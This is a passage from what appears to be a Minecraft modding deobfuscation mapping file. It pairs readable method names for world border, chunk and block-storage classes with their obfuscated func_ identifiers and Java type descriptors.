net/minecraft/world/border/WorldBorder/func_177750_a (D)V +MD: net/minecraft/world/border/WorldBorder/setTransition (DDJ)V net/minecraft/world/border/WorldBorder/func_177738_a (DDJ)V +MD: net/minecraft/world/border/WorldBorder/setSize (I)V net/minecraft/world/border/WorldBorder/func_177725_a (I)V +MD: net/minecraft/world/border/WorldBorder/contains (Lnet/minecraft/world/ChunkCoordIntPair;)Z net/minecraft/world/border/WorldBorder/func_177730_a (Lnet/minecraft/world/ChunkCoordIntPair;)Z +MD: net/minecraft/world/border/WorldBorder/addListener (Lnet/minecraft/world/border/IBorderListener;)V net/minecraft/world/border/WorldBorder/func_177737_a (Lnet/minecraft/world/border/IBorderListener;)V +MD: net/minecraft/world/border/WorldBorder/contains (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/world/border/WorldBorder/func_177743_a (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/world/border/WorldBorder/contains (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/border/WorldBorder/func_177746_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/border/WorldBorder/getClosestDistance (Lnet/minecraft/entity/Entity;)D net/minecraft/world/border/WorldBorder/func_177745_a (Lnet/minecraft/entity/Entity;)D +MD: net/minecraft/world/border/WorldBorder/minX ()D net/minecraft/world/border/WorldBorder/func_177726_b ()D +MD: net/minecraft/world/border/WorldBorder/setDamageBuffer (D)V net/minecraft/world/border/WorldBorder/func_177724_b (D)V +MD: net/minecraft/world/border/WorldBorder/getClosestDistance (DD)D net/minecraft/world/border/WorldBorder/func_177729_b (DD)D +MD: net/minecraft/world/border/WorldBorder/setWarningTime (I)V net/minecraft/world/border/WorldBorder/func_177723_b (I)V +MD: net/minecraft/world/border/WorldBorder/minZ ()D net/minecraft/world/border/WorldBorder/func_177736_c ()D +MD: net/minecraft/world/border/WorldBorder/setDamageAmount (D)V net/minecraft/world/border/WorldBorder/func_177744_c (D)V +MD: net/minecraft/world/border/WorldBorder/setCenter (DD)V net/minecraft/world/border/WorldBorder/func_177739_c (DD)V +MD: net/minecraft/world/border/WorldBorder/setWarningDistance (I)V net/minecraft/world/border/WorldBorder/func_177747_c (I)V +MD: net/minecraft/world/border/WorldBorder/maxX ()D net/minecraft/world/border/WorldBorder/func_177728_d ()D +MD: net/minecraft/world/border/WorldBorder/maxZ ()D net/minecraft/world/border/WorldBorder/func_177733_e ()D +MD: net/minecraft/world/border/WorldBorder/getCenterX ()D net/minecraft/world/border/WorldBorder/func_177731_f ()D +MD: net/minecraft/world/border/WorldBorder/getCenterZ ()D net/minecraft/world/border/WorldBorder/func_177721_g ()D +MD: net/minecraft/world/border/WorldBorder/getDiameter ()D net/minecraft/world/border/WorldBorder/func_177741_h ()D +MD: net/minecraft/world/border/WorldBorder/getTimeUntilTarget ()J net/minecraft/world/border/WorldBorder/func_177732_i ()J +MD: net/minecraft/world/border/WorldBorder/getTargetSize ()D net/minecraft/world/border/WorldBorder/func_177751_j ()D +MD: net/minecraft/world/border/WorldBorder/getListeners ()Ljava/util/List; net/minecraft/world/border/WorldBorder/func_177735_k ()Ljava/util/List; +MD: net/minecraft/world/border/WorldBorder/getSize ()I net/minecraft/world/border/WorldBorder/func_177722_l ()I +MD: net/minecraft/world/border/WorldBorder/getDamageBuffer ()D net/minecraft/world/border/WorldBorder/func_177742_m ()D +MD: net/minecraft/world/border/WorldBorder/getDamageAmount ()D net/minecraft/world/border/WorldBorder/func_177727_n ()D +MD: net/minecraft/world/border/WorldBorder/getResizeSpeed ()D net/minecraft/world/border/WorldBorder/func_177749_o ()D +MD: net/minecraft/world/border/WorldBorder/getWarningTime ()I net/minecraft/world/border/WorldBorder/func_177740_p ()I +MD: net/minecraft/world/border/WorldBorder/getWarningDistance ()I net/minecraft/world/border/WorldBorder/func_177748_q ()I +MD: net/minecraft/world/chunk/IChunkProvider/chunkExists (II)Z net/minecraft/world/chunk/IChunkProvider/func_73149_a (II)Z +MD: net/minecraft/world/chunk/IChunkProvider/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/chunk/IChunkProvider/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/chunk/IChunkProvider/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/chunk/IChunkProvider/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/chunk/IChunkProvider/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/chunk/IChunkProvider/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/chunk/IChunkProvider/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/chunk/IChunkProvider/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/chunk/IChunkProvider/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/IChunkProvider/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/IChunkProvider/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/chunk/IChunkProvider/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/chunk/IChunkProvider/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/chunk/IChunkProvider/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/chunk/IChunkProvider/saveExtraData ()V net/minecraft/world/chunk/IChunkProvider/func_104112_b ()V +MD: net/minecraft/world/chunk/IChunkProvider/unloadQueuedChunks ()Z net/minecraft/world/chunk/IChunkProvider/func_73156_b ()Z +MD: net/minecraft/world/chunk/IChunkProvider/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/IChunkProvider/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/IChunkProvider/canSave ()Z net/minecraft/world/chunk/IChunkProvider/func_73157_c ()Z +MD: net/minecraft/world/chunk/IChunkProvider/makeString ()Ljava/lang/String; net/minecraft/world/chunk/IChunkProvider/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/chunk/IChunkProvider/getLoadedChunkCount ()I net/minecraft/world/chunk/IChunkProvider/func_73152_e ()I +MD: net/minecraft/world/chunk/NibbleArray/getData ()[B net/minecraft/world/chunk/NibbleArray/func_177481_a ()[B +MD: net/minecraft/world/chunk/NibbleArray/getFromIndex (I)I net/minecraft/world/chunk/NibbleArray/func_177480_a (I)I +MD: net/minecraft/world/chunk/NibbleArray/setIndex (II)V net/minecraft/world/chunk/NibbleArray/func_177482_a (II)V +MD: net/minecraft/world/chunk/NibbleArray/get (III)I net/minecraft/world/chunk/NibbleArray/func_76582_a (III)I +MD: net/minecraft/world/chunk/NibbleArray/set (IIII)V net/minecraft/world/chunk/NibbleArray/func_76581_a (IIII)V +MD: net/minecraft/world/chunk/NibbleArray/isLowerNibble (I)Z net/minecraft/world/chunk/NibbleArray/func_177479_b (I)Z +MD: net/minecraft/world/chunk/NibbleArray/getCoordinateIndex (III)I net/minecraft/world/chunk/NibbleArray/func_177483_b (III)I +MD: net/minecraft/world/chunk/NibbleArray/getNibbleIndex (I)I net/minecraft/world/chunk/NibbleArray/func_177478_c (I)I +MD: net/minecraft/world/chunk/EmptyChunk/generateHeightMap ()V net/minecraft/world/chunk/EmptyChunk/func_76590_a ()V +MD: net/minecraft/world/chunk/EmptyChunk/isAtLocation (II)Z net/minecraft/world/chunk/EmptyChunk/func_76600_a (II)Z +MD: net/minecraft/world/chunk/EmptyChunk/getRandomWithSeed (J)Ljava/util/Random; net/minecraft/world/chunk/EmptyChunk/func_76617_a (J)Ljava/util/Random; +MD: net/minecraft/world/chunk/EmptyChunk/getLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/EmptyChunk/func_177413_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/EmptyChunk/setLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/chunk/EmptyChunk/func_177431_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/chunk/EmptyChunk/addTileEntity (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/chunk/EmptyChunk/func_150813_a (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/chunk/EmptyChunk/getBlock (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; net/minecraft/world/chunk/EmptyChunk/func_177428_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; +MD: net/minecraft/world/chunk/EmptyChunk/getLightSubtracted (Lnet/minecraft/util/BlockPos;I)I net/minecraft/world/chunk/EmptyChunk/func_177443_a (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/world/chunk/EmptyChunk/addTileEntity (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/chunk/EmptyChunk/func_177426_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/chunk/EmptyChunk/getTileEntity (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/chunk/EmptyChunk/func_177424_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/chunk/EmptyChunk/getEntitiesOfTypeWithinAAAB (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V net/minecraft/world/chunk/EmptyChunk/func_177430_a (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V +MD: net/minecraft/world/chunk/EmptyChunk/addEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/chunk/EmptyChunk/func_76612_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/chunk/EmptyChunk/removeEntityAtIndex (Lnet/minecraft/entity/Entity;I)V net/minecraft/world/chunk/EmptyChunk/func_76608_a (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/world/chunk/EmptyChunk/getEntitiesWithinAABBForEntity (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V net/minecraft/world/chunk/EmptyChunk/func_177414_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V +MD: net/minecraft/world/chunk/EmptyChunk/needsSaving (Z)Z net/minecraft/world/chunk/EmptyChunk/func_76601_a (Z)Z +MD: net/minecraft/world/chunk/EmptyChunk/generateSkylightMap ()V net/minecraft/world/chunk/EmptyChunk/func_76603_b ()V +MD: net/minecraft/world/chunk/EmptyChunk/getHeightValue (II)I net/minecraft/world/chunk/EmptyChunk/func_76611_b (II)I +MD: net/minecraft/world/chunk/EmptyChunk/getBlockLightOpacity (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/EmptyChunk/func_177437_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/EmptyChunk/removeEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/chunk/EmptyChunk/func_76622_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/chunk/EmptyChunk/onChunkLoad ()V net/minecraft/world/chunk/EmptyChunk/func_76631_c ()V +MD: net/minecraft/world/chunk/EmptyChunk/getAreLevelsEmpty (II)Z net/minecraft/world/chunk/EmptyChunk/func_76606_c (II)Z +MD: net/minecraft/world/chunk/EmptyChunk/getBlockMetadata (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/EmptyChunk/func_177418_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/EmptyChunk/onChunkUnload ()V net/minecraft/world/chunk/EmptyChunk/func_76623_d ()V +MD: net/minecraft/world/chunk/EmptyChunk/canSeeSky (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/chunk/EmptyChunk/func_177444_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/chunk/EmptyChunk/setChunkModified ()V net/minecraft/world/chunk/EmptyChunk/func_76630_e ()V +MD: net/minecraft/world/chunk/EmptyChunk/removeTileEntity (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/chunk/EmptyChunk/func_177425_e (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/chunk/EmptyChunk/isEmpty ()Z net/minecraft/world/chunk/EmptyChunk/func_76621_g ()Z +MD: net/minecraft/world/chunk/Chunk$1/call ()Ljava/lang/String; net/minecraft/world/chunk/Chunk$1/call ()Ljava/lang/String; +MD: net/minecraft/world/chunk/Chunk$1/call ()Ljava/lang/Object; net/minecraft/world/chunk/Chunk$1/call ()Ljava/lang/Object; +MD: net/minecraft/world/chunk/Chunk$2/call ()Ljava/lang/String; net/minecraft/world/chunk/Chunk$2/call ()Ljava/lang/String; +MD: net/minecraft/world/chunk/Chunk$2/call ()Ljava/lang/Object; net/minecraft/world/chunk/Chunk$2/call ()Ljava/lang/Object; +MD: net/minecraft/world/chunk/Chunk$3/call ()Ljava/lang/String; net/minecraft/world/chunk/Chunk$3/call ()Ljava/lang/String; +MD: net/minecraft/world/chunk/Chunk$3/call ()Ljava/lang/Object; net/minecraft/world/chunk/Chunk$3/call ()Ljava/lang/Object; +MD: net/minecraft/world/chunk/Chunk$EnumCreateEntityType/values ()[Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType; net/minecraft/world/chunk/Chunk$EnumCreateEntityType/values ()[Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType; +MD: net/minecraft/world/chunk/Chunk/generateHeightMap ()V net/minecraft/world/chunk/Chunk/func_76590_a ()V +MD: net/minecraft/world/chunk/Chunk/isAtLocation (II)Z net/minecraft/world/chunk/Chunk/func_76600_a (II)Z +MD: net/minecraft/world/chunk/Chunk/getBlock (III)Lnet/minecraft/block/Block; net/minecraft/world/chunk/Chunk/func_177438_a (III)Lnet/minecraft/block/Block; +MD: net/minecraft/world/chunk/Chunk/updateSkylightNeighborHeight (IIII)V net/minecraft/world/chunk/Chunk/func_76609_d (IIII)V +MD: net/minecraft/world/chunk/Chunk/getRandomWithSeed (J)Ljava/util/Random; net/minecraft/world/chunk/Chunk/func_76617_a (J)Ljava/util/Random; +MD: net/minecraft/world/chunk/Chunk/getLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/Chunk/func_177413_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/Chunk/setLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/chunk/Chunk/func_177431_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/chunk/Chunk/addTileEntity (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/chunk/Chunk/func_150813_a (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/chunk/Chunk/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/chunk/Chunk/func_76624_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/chunk/Chunk/getBlock (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; net/minecraft/world/chunk/Chunk/func_177428_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; +MD: net/minecraft/world/chunk/Chunk/getLightSubtracted (Lnet/minecraft/util/BlockPos;I)I net/minecraft/world/chunk/Chunk/func_177443_a (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/world/chunk/Chunk/getBiome (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/WorldChunkManager;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/chunk/Chunk/func_177411_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/WorldChunkManager;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/chunk/Chunk/addTileEntity (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/chunk/Chunk/func_177426_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/chunk/Chunk/setBlockState (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/chunk/Chunk/func_177436_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/chunk/Chunk/getTileEntity (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/chunk/Chunk/func_177424_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/chunk/Chunk$EnumCreateEntityType;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/chunk/Chunk/func_180700_a (Lnet/minecraft/util/EnumFacing;)V net/minecraft/world/chunk/Chunk/func_180700_a (Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/world/chunk/Chunk/getEntitiesOfTypeWithinAAAB (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V net/minecraft/world/chunk/Chunk/func_177430_a (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V +MD: net/minecraft/world/chunk/Chunk/addEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/chunk/Chunk/func_76612_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/chunk/Chunk/removeEntityAtIndex (Lnet/minecraft/entity/Entity;I)V net/minecraft/world/chunk/Chunk/func_76608_a (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/world/chunk/Chunk/getEntitiesWithinAABBForEntity (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V net/minecraft/world/chunk/Chunk/func_177414_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lcom/google/common/base/Predicate;)V +MD: net/minecraft/world/chunk/Chunk/needsSaving (Z)Z net/minecraft/world/chunk/Chunk/func_76601_a (Z)Z +MD: net/minecraft/world/chunk/Chunk/setBiomeArray ([B)V net/minecraft/world/chunk/Chunk/func_76616_a ([B)V +MD: net/minecraft/world/chunk/Chunk/fillChunk ([BIZ)V net/minecraft/world/chunk/Chunk/func_177439_a ([BIZ)V +MD: net/minecraft/world/chunk/Chunk/setHeightMap ([I)V net/minecraft/world/chunk/Chunk/func_177420_a ([I)V +MD: net/minecraft/world/chunk/Chunk/setStorageArrays ([Lnet/minecraft/world/chunk/storage/ExtendedBlockStorage;)V net/minecraft/world/chunk/Chunk/func_76602_a ([Lnet/minecraft/world/chunk/storage/ExtendedBlockStorage;)V +MD: net/minecraft/world/chunk/Chunk/generateSkylightMap ()V net/minecraft/world/chunk/Chunk/func_76603_b ()V +MD: net/minecraft/world/chunk/Chunk/getHeightValue (II)I net/minecraft/world/chunk/Chunk/func_76611_b (II)I +MD: net/minecraft/world/chunk/Chunk/setLastSaveTime (J)V net/minecraft/world/chunk/Chunk/func_177432_b (J)V +MD: net/minecraft/world/chunk/Chunk/getBlockLightOpacity (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/Chunk/func_177437_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/Chunk/removeEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/chunk/Chunk/func_76622_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/chunk/Chunk/func_150804_b (Z)V net/minecraft/world/chunk/Chunk/func_150804_b (Z)V +MD: net/minecraft/world/chunk/Chunk/onChunkLoad ()V net/minecraft/world/chunk/Chunk/func_76631_c ()V +MD: net/minecraft/world/chunk/Chunk/getAreLevelsEmpty (II)Z net/minecraft/world/chunk/Chunk/func_76606_c (II)Z +MD: net/minecraft/world/chunk/Chunk/checkSkylightNeighborHeight (III)V net/minecraft/world/chunk/Chunk/func_76599_g (III)V +MD: net/minecraft/world/chunk/Chunk/setInhabitedTime (J)V net/minecraft/world/chunk/Chunk/func_177415_c (J)V +MD: net/minecraft/world/chunk/Chunk/getBlockMetadata (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/Chunk/func_177418_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/Chunk/setChunkLoaded (Z)V net/minecraft/world/chunk/Chunk/func_177417_c (Z)V +MD: net/minecraft/world/chunk/Chunk/onChunkUnload ()V net/minecraft/world/chunk/Chunk/func_76623_d ()V +MD: net/minecraft/world/chunk/Chunk/propagateSkylightOcclusion (II)V net/minecraft/world/chunk/Chunk/func_76595_e (II)V +MD: net/minecraft/world/chunk/Chunk/relightBlock (III)V net/minecraft/world/chunk/Chunk/func_76615_h (III)V +MD: net/minecraft/world/chunk/Chunk/canSeeSky (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/chunk/Chunk/func_177444_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/chunk/Chunk/setTerrainPopulated (Z)V net/minecraft/world/chunk/Chunk/func_177446_d (Z)V +MD: net/minecraft/world/chunk/Chunk/setChunkModified ()V net/minecraft/world/chunk/Chunk/func_76630_e ()V +MD: net/minecraft/world/chunk/Chunk/func_150811_f (II)Z net/minecraft/world/chunk/Chunk/func_150811_f (II)Z +MD: net/minecraft/world/chunk/Chunk/getBlockLightOpacity (III)I net/minecraft/world/chunk/Chunk/func_150808_b (III)I +MD: net/minecraft/world/chunk/Chunk/removeTileEntity (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/chunk/Chunk/func_177425_e (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/chunk/Chunk/setLightPopulated (Z)V net/minecraft/world/chunk/Chunk/func_177421_e (Z)V +MD: net/minecraft/world/chunk/Chunk/isEmpty ()Z net/minecraft/world/chunk/Chunk/func_76621_g ()Z +MD: net/minecraft/world/chunk/Chunk/getBlock0 (III)Lnet/minecraft/block/Block; net/minecraft/world/chunk/Chunk/func_150810_a (III)Lnet/minecraft/block/Block; +MD: net/minecraft/world/chunk/Chunk/getHeight (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/chunk/Chunk/func_177433_f (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/chunk/Chunk/setModified (Z)V net/minecraft/world/chunk/Chunk/func_177427_f (Z)V +MD: net/minecraft/world/chunk/Chunk/getTopFilledSegment ()I net/minecraft/world/chunk/Chunk/func_76625_h ()I +MD: net/minecraft/world/chunk/Chunk/getBlockMetadata (III)I net/minecraft/world/chunk/Chunk/func_76628_c (III)I +MD: net/minecraft/world/chunk/Chunk/getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/chunk/Chunk/func_177435_g (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/chunk/Chunk/setHasEntities (Z)V net/minecraft/world/chunk/Chunk/func_177409_g (Z)V +MD: net/minecraft/world/chunk/Chunk/getBlockStorageArray ()[Lnet/minecraft/world/chunk/storage/ExtendedBlockStorage; net/minecraft/world/chunk/Chunk/func_76587_i ()[Lnet/minecraft/world/chunk/storage/ExtendedBlockStorage; +MD: net/minecraft/world/chunk/Chunk/getPrecipitationHeight (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/chunk/Chunk/func_177440_h (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/chunk/Chunk/recheckGaps (Z)V net/minecraft/world/chunk/Chunk/func_150803_c (Z)V +MD: net/minecraft/world/chunk/Chunk/isPopulated ()Z net/minecraft/world/chunk/Chunk/func_150802_k ()Z +MD: net/minecraft/world/chunk/Chunk/createNewTileEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/chunk/Chunk/func_177422_i (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/chunk/Chunk/getChunkCoordIntPair ()Lnet/minecraft/world/ChunkCoordIntPair; net/minecraft/world/chunk/Chunk/func_76632_l ()Lnet/minecraft/world/ChunkCoordIntPair; +MD: net/minecraft/world/chunk/Chunk/getBiomeArray ()[B net/minecraft/world/chunk/Chunk/func_76605_m ()[B +MD: net/minecraft/world/chunk/Chunk/resetRelightChecks ()V net/minecraft/world/chunk/Chunk/func_76613_n ()V +MD: net/minecraft/world/chunk/Chunk/enqueueRelightChecks ()V net/minecraft/world/chunk/Chunk/func_76594_o ()V +MD: net/minecraft/world/chunk/Chunk/func_150809_p ()V net/minecraft/world/chunk/Chunk/func_150809_p ()V +MD: net/minecraft/world/chunk/Chunk/isLoaded ()Z net/minecraft/world/chunk/Chunk/func_177410_o ()Z +MD: net/minecraft/world/chunk/Chunk/getWorld ()Lnet/minecraft/world/World; net/minecraft/world/chunk/Chunk/func_177412_p ()Lnet/minecraft/world/World; +MD: net/minecraft/world/chunk/Chunk/getHeightMap ()[I net/minecraft/world/chunk/Chunk/func_177445_q ()[I +MD: net/minecraft/world/chunk/Chunk/getTileEntityMap ()Ljava/util/Map; net/minecraft/world/chunk/Chunk/func_177434_r ()Ljava/util/Map; +MD: net/minecraft/world/chunk/Chunk/getEntityLists ()[Lnet/minecraft/util/ClassInheritanceMultiMap; net/minecraft/world/chunk/Chunk/func_177429_s ()[Lnet/minecraft/util/ClassInheritanceMultiMap; +MD: net/minecraft/world/chunk/Chunk/isTerrainPopulated ()Z net/minecraft/world/chunk/Chunk/func_177419_t ()Z +MD: net/minecraft/world/chunk/Chunk/isLightPopulated ()Z net/minecraft/world/chunk/Chunk/func_177423_u ()Z +MD: net/minecraft/world/chunk/Chunk/getLowestHeight ()I net/minecraft/world/chunk/Chunk/func_177442_v ()I +MD: net/minecraft/world/chunk/Chunk/getInhabitedTime ()J net/minecraft/world/chunk/Chunk/func_177416_w ()J +MD: net/minecraft/world/chunk/Chunk/func_177441_y ()V net/minecraft/world/chunk/Chunk/func_177441_y ()V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/isEmpty ()Z net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76663_a ()Z +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/get (III)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_177485_a (III)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/setExtSkylightValue (IIII)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76657_c (IIII)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/set (IIILnet/minecraft/block/state/IBlockState;)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_177484_a (IIILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/setBlocklightArray (Lnet/minecraft/world/chunk/NibbleArray;)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76659_c (Lnet/minecraft/world/chunk/NibbleArray;)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/setData ([C)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_177486_a ([C)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getNeedsRandomTick ()Z net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76675_b ()Z +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getBlockByExtId (III)Lnet/minecraft/block/Block; net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_150819_a (III)Lnet/minecraft/block/Block; +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/setExtBlocklightValue (IIII)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76677_d (IIII)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/setSkylightArray (Lnet/minecraft/world/chunk/NibbleArray;)V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76666_d (Lnet/minecraft/world/chunk/NibbleArray;)V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getExtBlockMetadata (III)I net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76665_b (III)I +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getYLocation ()I 